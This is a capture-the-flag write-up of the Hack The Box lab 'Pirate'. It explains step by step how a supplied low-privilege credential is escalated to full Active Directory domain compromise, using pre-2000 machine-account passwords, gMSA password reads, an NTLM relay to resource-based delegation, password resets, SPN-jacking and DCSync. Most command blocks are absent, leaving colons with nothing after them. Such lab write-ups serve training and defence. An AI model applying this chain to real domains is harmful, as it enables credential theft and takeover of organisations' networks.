HTB: Pirate

Reconnaissance

The box hands you a starting credential — pentest : p3nt3st2025!& — so this is assumed-breach: no exploit for the front door, just an authenticated foothold inside the domain. A quick sweep is textbook domain controller: Kerberos, LDAP, the global catalog, SMB, and WinRM. Server 2019, domain pirate.htb, hostname DC01.

Add the names to /etc/hosts (pirate.htb, dc01.pirate.htb) — Kerberos resolves service principals by hostname, so working by IP alone breaks the moment you touch a ticket.

Foothold — a pre-Windows 2000 machine account

Enumerating computer objects over LDAP turns up more than the two hosts you'd expect:

Two machine accounts — MS01$ and EXCH01$ — carry the Pre-Windows 2000 flag. When an admin pre-creates a computer object for a host that hasn't joined the domain yet, its initial password is set to the lowercase sAMAccountName without the trailing dollar sign. If the host never joins (lastLogon = 0), that bootstrap password is still live. netexec's pre2k module flags exactly this:

So MS01$'s password should be ms01. You can't test that with a normal logon, though — machine accounts refuse interactive/NTLM authentication (STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT). Everything from here on is Kerberos-only. Grab a TGT to prove the password and to carry into the next step:

gMSA — reading a managed password → WinRM on the DC

A group Managed Service Account has a 240-byte password that AD rotates on its own and never shows an admin. The catch: any principal listed in the gMSA's msDS-GroupMSAMembership (the "principals allowed to retrieve managed password" set) can read the blob over LDAP and derive the NT hash from it. Our freshly-owned MS01$ is such a principal. bloodyAD reads it and hands back the hash directly:

That NT hash is a full credential for gMSA_ADFS_prod$ — and the account happens to be in Remote Management Users, so it can log in over WinRM. netexec confirms admin-level exec, and evil-winrm drops a shell on the DC:

First thing inside: ipconfig. The DC is dual-homed.

There's a 192.168.100.0/24 behind the DC, and from the earlier LDAP dump we know WEB01$ lives there — 192.168.100.2, unreachable directly. The flags aren't on the DC's readable desktops, so the next objective is that internal host. Time to pivot.

Pivoting to the internal net (from macOS)

The house tunnel for this is ligolo, but its TUN + interactive console is awkward to script on macOS, so I used chisel reverse SOCKS instead — fully non-interactive, no root needed for the proxy itself. Run the server on the attack box, stage the client onto the DC over the WinRM shell, and dial back:

With SOCKS up on 127.0.0.1:1080, WEB01 is reachable — 445, 135, 5985 and an HTTP service on 80. A note for fellow Mac users: netexec breaks under proxychains (its multiprocessing workers don't inherit the DYLD_INSERT_LIBRARIES hook), but single-process Impacket scripts proxy fine. So the enumeration and every relay-adjacent step below run as proxychains4 <impacket-tool>.

WEB01 — NTLM relay → RBCD → a domain user

The gMSA can authenticate to WEB01 but isn't a local admin there (rpc_s_access_denied on a secrets dump). What WEB01 does have is SMB signing disabled — the green light for an NTLM relay. The plan:

1. Coerce WEB01$ into authenticating to us (PrinterBug / MS-RPRN).
2. Relay that machine-account auth to the DC's LDAP.
3. Use it to write resource-based constrained delegation on WEB01$, trusting a computer account we control.
4. S4U ourselves an Administrator ticket to WEB01 and dump its secrets.

First, create the computer account we'll delegate through — any authenticated user can, up to ms-DS-MachineAccountQuota (default 10):

Start the relay pointing at LDAP, telling it to configure delegation for our new account. --remove-mic is the drop-the-MIC trick that lets an SMB→LDAP relay through even with a MIC present; the DC's LDAP isn't enforcing signing, so it lands. Binding the SMB server on 445 needs root:

Now the coercion. PrinterBug's RpcRemoteFindFirstPrinterChangeNotificationEx makes the target's spooler authenticate back to any host we name. We send the RPC to WEB01 through the SOCKS tunnel and point the callback at our own VPN IP:

It worked — the spooler's callback reached my VPN address (routed out through the DC), and the relay did its job:

RBCD is set. Now S4U2Self+S4U2Proxy as hackpuntes$ to get a cifs/WEB01 ticket as Administrator, then dump WEB01's secrets across the tunnel:

The prize is in LSA secrets: an autologon DefaultPassword for a real domain user, a.white, sitting in cleartext. That's the account whose desktop holds the user flag — read it straight off WEB01 with the Administrator ticket we already have:

Lateral — ForceChangePassword to a delegation account

Back to the domain with real user creds. a.white holds a ForceChangePassword right over a.white_adm — the ability to reset that account's password without knowing the old one. The DC is directly reachable, so no tunnel needed here:

Why a.white_adm matters becomes clear the moment you look at its delegation config:

Constrained delegation with protocol transition (the account's TRUSTED_TO_AUTH_FOR_DELEGATION flag) means a.white_adm can call S4U2Self to fabricate a usable ticket for any user, then S4U2Proxy to forward it to the service named in msDS-AllowedToDelegateTo — here, http/WEB01.pirate.htb. On paper that only lets us hit a web service on WEB01, which we already own. The trick is what "the SPN" actually points at.

Root — SPN-jacking constrained delegation onto the DC

When the KDC issues an S4U2Proxy ticket for http/WEB01.pirate.htb, it encrypts that ticket with the long-term key of whatever account currently owns that SPN. Right now that's WEB01$. But SPNs are just multi-valued attributes, they must be unique in the forest, and — crucially — a.white_adm can write servicePrincipalName on both WEB01$ and DC01$. So move the SPN: delete http/WEB01.pirate.htb from WEB01$, add it to DC01$. Now the same S4U2Proxy request yields a ticket encrypted with the DC's key.

I did the move surgically with ldapmodify so the DC's other 24 SPNs stayed untouched (order matters — delete before add, or the uniqueness constraint rejects it):

Now the payoff. Request the delegated ticket for http/WEB01.pirate.htb impersonating administrator — it comes back sealed with DC01$'s key — and use -altservice to rewrite the service name in the ticket to cifs/DC01. That sname substitution is legal because both service classes are served by the same account key, and it turns a "web" ticket into an SMB ticket to the domain controller:

That's an Administrator ticket to the DC's own cifs service — game over. Read the root flag, and DCSync to make the domain compromise explicit:

Operator notes — running this from macOS

None of the tradecraft changes on a Mac, but a few sharp edges are worth writing down:

• Kerberos clock skew. The DC ran +7h ahead. faketime -f '+7h' <tool> shifts a single process's clock without touching the system — cleaner than ntpdate, which wants root and drags your whole box off real time. bloodyAD self-corrects, so it needs no wrapper.
• Machine and gMSA accounts refuse NTLM logon (STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT) — a wrong password and a policy refusal look almost identical, so verify with a TGT (getTGT.py), which is the auth path that actually works.
• proxychains + netexec don't mix on macOS: netexec's multiprocessing workers don't inherit the DYLD_INSERT_LIBRARIES preload, so nothing gets hooked. Single-process Impacket scripts proxy fine, which is why the relay-side steps are all Impacket.
• faketime + proxychains together means two dylibs in DYLD_INSERT_LIBRARIES at once — set the variable manually with both paths rather than nesting the two wrappers, or one clobbers the other.
• The relay callback found its way home. WEB01 sits on an internal-only segment, but its spooler callback to my VPN IP routed out through the dual-homed DC — so no reverse port-forward on 445 was needed, which is the part that's normally painful to tunnel.

Why it worked

Key commands